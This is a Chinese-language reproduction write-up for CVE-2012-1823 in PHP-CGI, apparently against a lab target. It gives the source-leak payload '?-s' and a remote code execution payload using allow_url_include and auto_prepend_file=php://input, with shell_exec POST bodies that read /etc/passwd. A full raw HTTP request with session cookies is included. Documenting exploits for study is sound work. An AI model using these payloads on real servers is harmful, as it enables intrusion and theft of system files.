漏洞介绍
这个漏洞简单来说,就是用户请求的querystring(querystring字面上的意思就是查询字符串,一般是对http请求所带的数据进行解析,这里也是只http请求中所带的数据)
被作为了php-cgi的参数,最终导致了一系列结果。
影响范围:
漏洞影响版本 php < 5.3.12 or php < 5.4.2
PS:CVE-2012-1823是在php-cgi运行模式下出现的漏洞,其漏洞只出现在以cgi模式运行的php中
漏洞复现过程
Cgi模式下命令行参数有如下一些参数可用
-c 指定php.ini文件的位置
-n 不要加载php.ini文件
-d 指定配置项
-b 启动fastcgi进程
-s 显示文件源码
-T 执行指定次该文件
-h和-? 显示帮助
源码泄露playload:
/index.php?-s
远程执行playload:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a
//input url解码:(-d allow_url_include=on -d auto_prepend_file=php://input)
//allow_url_include=on 将allow_url_include打开,使得可以文件包含,可以用伪协议
//auto_prepend_file 每次在加载访问的php文件之前,都访问php://input(也就是POST中的参数内容
POST: <?php echo shell_exec('cat /etc/passwd');?>
GET /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 123.58.224.8:28468
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.1586793102.1663925982; QEua_2132_ulastactivity=9d0aSfy1Aqw82Ccb9yZawiRJ5p6sCHiCvf28g7TX92sJf6l44UhK; QEua_2132_lastcheckfeed=1%7C1664796385; QEua_2132_nofavfid=1; zbx_sessionid=1c66cb09046dacf2137bc96152372462; wp-settings-time-1=1665294829; s7t_visitedfid=2; Hm_lvt_deaeca6802357287fb453f342ce28dda=1667282855,1667282942,1667283491
If-None-Match: "29cd-575c405638000-gzip"
If-Modified-Since: Thu, 13 Sep 2018 17:27:28 GMT
Connection: close
Content-Length: 35
<?php echo shell_exec('ls /tmp');?>